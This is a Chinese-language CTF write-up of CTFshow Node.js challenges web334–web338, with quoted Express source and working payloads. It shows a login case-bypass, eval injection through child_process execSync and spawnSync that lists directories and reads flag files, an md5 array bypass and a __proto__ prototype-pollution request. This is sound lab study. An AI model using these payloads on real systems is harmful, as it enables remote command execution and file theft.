CTFshow nodejs

前言

最近真的巨忙啊。。天天加班,没啥时间看题,只能利用每天赶公交车的时间看看思路。

nodejs篇,重新看一下。

web334

打开题目是一个登录框,给了源码我们看一下:

login.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);

if(user){
req.session.regenerate(function(err)
{
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}

});

module.exports = router;

user.js

1
2
3
4
5
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

逻辑其实很简单,只要

1
2
3
4
5
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

为真即可,主要就是这句话:return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

这里需要我们传的username!=CTFSHOW,然后转换成大写之后等于CTFSHOW,就可以绕过去了,所以我们传个CTFSHOw即可。

payload:username=CTFSHOw&password=123456

web335

这个题目打开就只有一个where is flag,于是就用dirsearch扫了一下,没扫到什么东西,F12看一下,发现提示?eval。猜想可能就是给了一个命令执行的接口,这里我用chatgpt找了几个命令执行的用法,发现都不行,比如?eval=require('child_process').exec('ls');这样返回的是Object object,没有实际输出,换成ls >1.txt访问1.txt发现不存在。

后面看了师傅的博客,发现有一种写法可以直接执行并且拿到输出:

eval=require('child_process').execSync('ls /');

最终的payload,直接读flag就好了:?eval=require('child_process').execSync('cat f*');

web336

上面那个payload用不了了,换一种用法即可:

?eval=require('child_process').spawnSync('ls').stdout

然后我就直接?eval=require('child_process').spawnSync('cat f*').stdout,那这样写其实是不行的,spawnSync有自己的格式和要求,spawnSync('xxx',['xxxx']),前面一个是命令,后面是命令的参数。

最终payload:?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout;

web337

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;

主要就是这段代码:

1
2
3
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}

和之前的PHP是一样的考点,用数组绕过去,只不过这里有一些不同:https://b8fa570e-34b2-4d95-a342-7920b5e7c5b7.challenge.ctf.show?a[]=1&b[]=2,直接像我这样写是不行的。下标需要有字母填充:

最终的payload:

https://b8fa570e-34b2-4d95-a342-7920b5e7c5b7.challenge.ctf.show?a[c]=1&b[d]=2

web338

开始原型链污染了,主要出问题的地方就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

主要就是这里的赋值操作,几乎和P神那篇博客的代码一样,我们可以通过copy来更改__proto__

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}

});
module.exports = router;

读这段代码的话,只需要把ctfshow这个属性污染一下,让它值为36dboy即可。

所以我们直接构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /login HTTP/1.1
Host: 040b46aa-ba22-4649-9f00-4c792385e010.challenge.ctf.show
Cookie: cf_clearance=sTQvqaMwb3cvdYslFCYRZc6l7LY572oFsYFp9YuIMLs-1732516663-1.2.1.1-1eL_jwZwq.IoB4YfQDLmQVm7Li7wcDoxulbj92j.V18.6E8.rjQStfik8DlqJNxsLGsmaVyCFl16VzE_dlvsjS_2zqTdPbjdY6m.JIzpXk59c5fLMVAjc1oSjgwoBD6vEwd238NpEKyub28GMLXjRjsAi9kYMjCTdNzfaR812zVTh8757NYsQtBznwRNE6H2ZBFkoQ8q1qMxGHxIRlzAxXnZ1Wo2qFJIyXEfToBFXkWZbYq1c1PSm9CVLx.4dMwMcRBIf2gnfJDbZ0Up6ppym6azaxwR7l7O8gEyePyBIJMtYWex5m5vGYYmgGydjV09iIB9x_WIjuIOP8lvidjSLoRif1U89NnGuf12n9UpekIYqbtXvkD.6QM_l41wTh6qj6OjaArC1PmbAAwRBfPbUw
Content-Length: 66
Sec-Ch-Ua-Platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Origin: https://040b46aa-ba22-4649-9f00-4c792385e010.challenge.ctf.show
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://040b46aa-ba22-4649-9f00-4c792385e010.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Priority: u=1, i
Connection: close

{"username":"1","password":"1","__proto__":{
"ctfshow":"36dboy"}}

这里要注意content-type对应的值为application/json,没改之前多了些内容。

web339